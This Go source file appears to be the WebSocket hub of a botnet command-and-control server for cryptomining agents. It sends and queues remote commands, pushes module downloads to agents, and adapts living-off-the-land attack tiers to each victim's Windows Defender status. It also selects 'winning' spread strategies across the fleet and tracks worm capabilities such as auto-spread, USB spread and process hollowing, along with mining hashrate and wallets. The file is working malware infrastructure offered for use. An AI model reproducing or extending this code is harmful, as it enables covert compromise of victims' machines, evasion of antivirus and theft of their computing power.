func (h *WSHub) SendToAgent(agentID string, msg Message) error {
agent := h.getAgentConn(agentID)
if agent == nil {
return fmt.Errorf("agent %s not connected", agentID)
}
if err := agent.SendJSON(msg); err != nil {
_ = agent.Conn.Close()
return err
}
return nil
}
// RemoveAgent forcibly disconnects an agent and removes it from the live map.
// It then broadcasts agent_deleted to all dashboard clients so the UI removes
// the agent immediately without waiting for the disconnect goroutine to fire.
func (h *WSHub) RemoveAgent(agentID string) {
h.mu.Lock()
if ac, ok := h.agents[agentID]; ok {
// Nil the map entry BEFORE closing so the agent goroutine's deferred
// cleanup (which checks cur.Conn == conn) falls into the else branch
// and skips SetAgentOffline — avoiding a write to an already-deleted row.
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
delete(h.agentLiveTelemetry, agentID)
if h.clearance != nil {
h.clearance.RemoveAgent(agentID)
}
ac.Conn.Close()
}
h.mu.Unlock()
// Broadcast deletion so every connected dashboard removes the agent immediately.
h.broadcastDashboard(Message{
Type: "agent_deleted",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
}
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
if err := h.checkSubnetSpreadImmune(agentID, action, args); err != nil {
return err
}
if h.isAgentConnected(agentID) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}
if h.EnqueueBeaconCommand(agentID, action, args) {
return nil
}
return fmt.Errorf("agent %s not connected", agentID)
}
// BroadcastAgentCommand sends a remote command to all connected agents.
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}
// ResolveAgentTargets expands "all" to connected agent IDs.
func (h *WSHub) ResolveAgentTargets(ids []string) []string {
if len(ids) == 0 {
return nil
}
for _, id := range ids {
if id == "all" {
return h.ConnectedAgentIDs()
}
}
return ids
}
// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
h.mu.RLock()
engine := h.adaptiveEngine
ids := h.ConnectedAgentIDs()
h.mu.RUnlock()
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
return 0
}
sent := 0
for _, agentID := range ids {
fp := engine.AgentFingerprint(agentID)
if fp.GOOS == "" {
if ag, err := h.db.GetAgent(agentID); err == nil {
fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
}
}
adaptive := engine.StrategyForAgent(agentID, fp)
h.mu.RLock()
atlasEngine := h.failureAtlas
aiMode := h.serverPolicy.AIControlEnabled
h.mu.RUnlock()
if atlasEngine != nil && !aiMode {
var defenderEnabled, defenderRTP *bool
if ag, err := h.db.GetAgent(agentID); err == nil {
defenderEnabled = ag.DefenderEnabled
defenderRTP = ag.DefenderRTP
}
if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 {
atlas.MergeSkipsIntoStrategy(&adaptive, skips)
}
}
payload, err := json.Marshal(adaptive)
if err != nil {
continue
}
if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
continue
}
sent++
}
return sent
}
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
platform, _ := payload["platform"].(string)
ip, _ := payload["ip"].(string)
var defenderEnabled, defenderRTP, firewallDomain *bool
if v, ok := payload["defender_enabled"].(bool); ok {
defenderEnabled = &v
}
if v, ok := payload["defender_rtp"].(bool); ok {
defenderRTP = &v
}
if v, ok := payload["firewall_domain"].(bool); ok {
firewallDomain = &v
}
attempts := parseLOTLAttemptsFromPayload(payload)
hashrate, _ := payload["mining_hashrate"].(float64)
activeTier, _ := payload["lotl_tier"].(string)
joinLane, _ := payload["join_lane"].(string)
chainOrder := parseStringSliceField(payload["chain_order"])
h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts)
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder)
}
func (h *WSHub) ingestAtlasFromStats(
agentID, platform, ip string,
defenderEnabled, defenderRTP, firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
) {
if h.failureAtlas == nil || h.db == nil {
return
}
if platform == "" || ip == "" {
if ag, err := h.db.GetAgent(agentID); err == nil {
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
if defenderEnabled == nil {
defenderEnabled = ag.DefenderEnabled
}
if defenderRTP == nil {
defenderRTP = ag.DefenderRTP
}
}
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
if defenderRTP != nil && *defenderRTP {
fp.AVBlocks = true
}
snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP)
conds := atlas.ExtractConditions(fp, snap)
for _, a := range attempts {
if a.OK || strings.TrimSpace(a.Tier) == "" {
continue
}
if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil {
log.Printf("[atlas] record failure: %v", err)
}
}
}
func (h *WSHub) ingestStrategyFromStats(
agentID, platform, ip string,
defenderRTP, firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
miningHashrate float64,
activeTier string,
) {
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled {
return
}
if platform == "" || ip == "" {
if ag, err := h.db.GetAgent(agentID); err == nil {
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
}
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
if defenderRTP != nil && *defenderRTP {
fp.AVBlocks = true
}
h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
for _, a := range attempts {
hr := 0.0
if a.OK && strings.EqualFold(a.Tier, activeTier) {
hr = miningHashrate
}
h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
}
if activeTier != "" && miningHashrate > 0 {
h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
}
}
func (h *WSHub) tryPublishWinningPhenotype(
agentID, platform, ip string,
firewallDomain *bool,
attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
},
miningHashrate float64,
activeTier, joinLane string,
chainOrder []string,
) {
if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" {
return
}
ag, err := h.db.GetAgent(agentID)
if err != nil {
return
}
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
stratAttempts := make([]strategy.TierAttempt, len(attempts))
for i, a := range attempts {
stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK}
}
fallback := append([]string(nil), chainOrder...)
if len(fallback) == 0 {
fallback = append(fallback, strategy.DefaultMiningTierOrder...)
}
tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback)
if len(tierOrder) == 0 {
return
}
pheno := strategy.FleetPhenotype{
SourceAgentID: agentID,
SourceAgentName: ag.Name,
Fingerprint: fp.Key(),
OS: fp.GOOS,
SpreadLane: strings.TrimSpace(joinLane),
ActiveTier: strings.TrimSpace(activeTier),
TierOrder: tierOrder,
PeakHashrate: miningHashrate,
CreatedAt: time.Now().UTC(),
}
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
log.Printf("[phenotype] publish: %v", err)
}
if h.breedingRegistry != nil {
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
Fingerprint: fp.Key(),
SpreadLane: strings.TrimSpace(joinLane),
TierOrder: tierOrder,
ActiveTier: strings.TrimSpace(activeTier),
PeakHashrate: miningHashrate,
FailedTiers: strategy.FailedTierSet(stratAttempts),
SourceAgentName: ag.Name,
})
}
h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts)
}
func (h *WSHub) tryPublishScoutPhenotype(
agentID, platform, ip string,
firewallDomain *bool,
joinLane string,
serviceCount int,
) {
if h.db == nil || (strings.TrimSpace(joinLane) == "" && serviceCount <= 0) {
return
}
ag, err := h.db.GetAgent(agentID)
if err != nil {
return
}
if platform == "" {
platform = ag.Platform
}
if ip == "" {
ip = ag.IP
}
if firewallDomain == nil {
firewallDomain = ag.FirewallDomain
}
domainJoined := firewallDomain != nil && *firewallDomain
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
lane := strings.TrimSpace(joinLane)
if lane == "" {
lane = "service_graph"
}
tierOrder := []string{"service_graph", "discover_and_join"}
if lane != "service_graph" && lane != "discover_and_join" {
tierOrder = append(tierOrder, lane)
}
pheno := strategy.FleetPhenotype{
SourceAgentID: agentID,
SourceAgentName: ag.Name,
Fingerprint: fp.Key(),
OS: fp.GOOS,
SpreadLane: lane,
ActiveTier: "service_graph",
TierOrder: tierOrder,
PeakHashrate: 0,
CreatedAt: time.Now().UTC(),
}
if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil {
log.Printf("[phenotype] scout publish: %v", err)
}
if h.breedingRegistry != nil {
h.breedingRegistry.RecordLaneWinner(strategy.LaneWinnerInput{
Fingerprint: fp.Key(),
SpreadLane: lane,
TierOrder: tierOrder,
ActiveTier: "service_graph",
PeakHashrate: float64(serviceCount),
SourceAgentName: ag.Name,
})
}
}
func parseStringSliceField(raw interface{}) []string {
arr, ok := raw.([]interface{})
if !ok {
return nil
}
out := make([]string, 0, len(arr))
for _, v := range arr {
if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, s)
}
}
return out
}
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} {
raw, ok := payload["lotl_attempts"]
if !ok {
return nil
}
data, err := json.Marshal(raw)
if err != nil {
return nil
}
var attempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
}
if err := json.Unmarshal(data, &attempts); err != nil {
return nil
}
return attempts
}
func clientIPFromBroadcast(broadcast map[string]interface{}) string {
ip, _ := broadcast["ip"].(string)
return ip
}
// PushPolicyUpdate sends policy_update to each target agent.
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
if policy.IsEmpty() {
return 0, len(agentIDs)
}
payload := marshalPolicyUpdatePayload(pushID, policy)
for _, id := range agentIDs {
if err := h.SendToAgent(id, Message{Type: "policy_update", Payload: payload}); err != nil {
if h.EnqueueBeaconPolicy(id, policy) {
sent++
} else {
failed++
}
} else {
sent++
}
}
return sent, failed
}
// PushModuleFetch asks agents to download and apply a module pack.
func (h *WSHub) PushModuleFetch(agentIDs []string, moduleName string) (sent, failed int) {
args := map[string]interface{}{"module": moduleName}
for _, id := range agentIDs {
if err := h.SendAgentCommand(id, "fetch_module", args); err != nil {
failed++
} else {
sent++
}
}
return sent, failed
}
// UpdateAgentCapabilities merges runtime capability flags and broadcasts to dashboards.
func (h *WSHub) UpdateAgentCapabilities(agentID string, patch models.AgentCapabilities) {
h.mu.Lock()
cur, ok := h.agentCapabilities[agentID]
if !ok {
cur = models.AgentCapabilities{}
}
if patch.HolePunch {
cur.HolePunch = true
}
if patch.RemoteAggressive {
cur.RemoteAggressive = true
}
if patch.MeshP2P {
cur.MeshP2P = true
}
if patch.AutoSpread {
cur.AutoSpread = true
}
if patch.ProcessHollowing {
cur.ProcessHollowing = true
}
if patch.AIEnabled {
cur.AIEnabled = true
}
if patch.USBSpread {
cur.USBSpread = true
}
h.agentCapabilities[agentID] = cur
caps := cur
h.mu.Unlock()
h.broadcastDashboard(Message{
Type: "agent_capabilities",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"capabilities": caps,
}),
})
}
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
h.mu.RLock()
defer h.mu.RUnlock()
for _, a := range agents {
if a == nil {
continue
}
if caps, ok := h.agentCapabilities[a.ID]; ok {
c := caps
a.Capabilities = &c
}
}
}
func (h *WSHub) GetAgentLog(agentID string) string {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agentLogs[agentID]
}
type cachedServiceDiscover struct {
Local ServiceGraphHost
LANHosts []ServiceGraphHost
}
func (h *WSHub) cacheServiceDiscover(agentID, message string) {
var payload struct {
Local ServiceGraphHost `json:"local"`
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
}
if err := json.Unmarshal([]byte(message), &payload); err != nil {
return
}
h.mu.Lock()
h.agentServiceDiscover[agentID] = cachedServiceDiscover{
Local: payload.Local,
LANHosts: payload.LANHosts,
}
h.mu.Unlock()
}
func subnetLabelMatches(hostSubnet, query string) bool {
hostSubnet = strings.TrimSpace(hostSubnet)
query = strings.TrimSpace(query)
if query == "" {
return true
}
query = strings.TrimSuffix(query, ".x")
hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
}
// QueryServiceGraph returns deduped service entries from cached service_discover runs.
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
h.mu.RLock()
defer h.mu.RUnlock()
seen := make(map[string]bool)
var out []ServiceGraphEntry
add := func(entries []ServiceGraphEntry) {
for _, e := range entries {
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
if seen[key] {
continue
}
seen[key] = true
out = append(out, e)
}
}
collect := func(cached cachedServiceDiscover) {
if subnetLabelMatches(cached.Local.Subnet, subnet) {
add(cached.Local.Services)
}
for _, host := range cached.LANHosts {
if subnetLabelMatches(host.Subnet, subnet) {
add(host.Services)
}
}
}
if agentID != "" {
if cached, ok := h.agentServiceDiscover[agentID]; ok {
collect(cached)
}
return out
}
for _, cached := range h.agentServiceDiscover {
collect(cached)
}
return out
}
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
}
func (h *WSHub) BroadcastPoolStatus(status interface{}) {
h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
}
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}
// agentDisplayName returns a display name that is unique per physical machine.
// Hostname is preferred because it's machine-specific — many agents deployed from
// the same binary would otherwise share the same baked-in worker name, making
// a large fleet impossible to differentiate.
func agentDisplayName(workerName, worker, hostname, agentID string) string {
if hostname != "" {
return hostname
}
// No hostname reported — make the worker name unique with a short agent ID suffix.
base := workerName
if base == "" {
base = worker
}
if base == "" {
base = "agent"
}
return base + "-" + shortAgentID(agentID)
}
func shortAgentID(id string) string {
if len(id) >= 8 {
return id[:8]
}
if id == "" {
return "agent"
}
return id
}
// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
line = strings.TrimSpace(line)
if line == "" {
return
}
h.broadcastDashboard(Message{
Type: "server_log",
Payload: mustMarshal(map[string]string{"line": line}),
})
}
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
h.broadcastDashboard(Message{
Type: "emberwake_notes_updated",
Payload: mustMarshal(notes),
})
}
// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients.
func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) {
h.broadcastDashboard(Message{
Type: "seer_notes_updated",
Payload: mustMarshal(note),
})
}
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
var warRoomBroadcastInterval = 30 * time.Second
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
func (h *WSHub) runWarRoomBroadcast() {
if h.db == nil {
return
}
ticker := time.NewTicker(warRoomBroadcastInterval)
defer ticker.Stop()
for range ticker.C {
data, err := h.db.ListWarRoom(7)
if err != nil {
continue
}
h.broadcastDashboard(Message{
Type: "emberwake_war_room",
Payload: mustMarshal(data),
})
}
}
type wsPresenceEntry struct {
User string `json:"user"`
Page string `json:"page"`
Online bool `json:"online"`
Ts int64 `json:"ts"`
}
func (h *WSHub) presenceSnapshotLocked() []wsPresenceEntry {
byUser := make(map[string]wsPresenceEntry)
for _, dc := range h.dashboards {
if dc.Username == "" {
continue
}
page := dc.Page
if page == "" {
page = "/dashboard"
}
byUser[dc.Username] = wsPresenceEntry{
User: dc.Username,
Page: page,
Online: true,
Ts: time.Now().UnixMilli(),
}
}
out := make([]wsPresenceEntry, 0, len(byUser))
for _, e := range byUser {
out = append(out, e)
}
return out
}
func (h *WSHub) broadcastPresenceUpdate(user, page string, online bool) {
if user == "" {
return
}
h.broadcastDashboard(Message{
Type: "presence_update",
Payload: mustMarshal(wsPresenceEntry{
User: user,
Page: page,
Online: online,
Ts: time.Now().UnixMilli(),
}),
})
}
func (h *WSHub) broadcastNotesTyping(user string, active bool) {
if user == "" {
return
}
h.broadcastDashboard(Message{
Type: "notes_typing",
Payload: mustMarshal(map[string]interface{}{
"user": user,
"active": active,
"ts": time.Now().UnixMilli(),
}),
})
}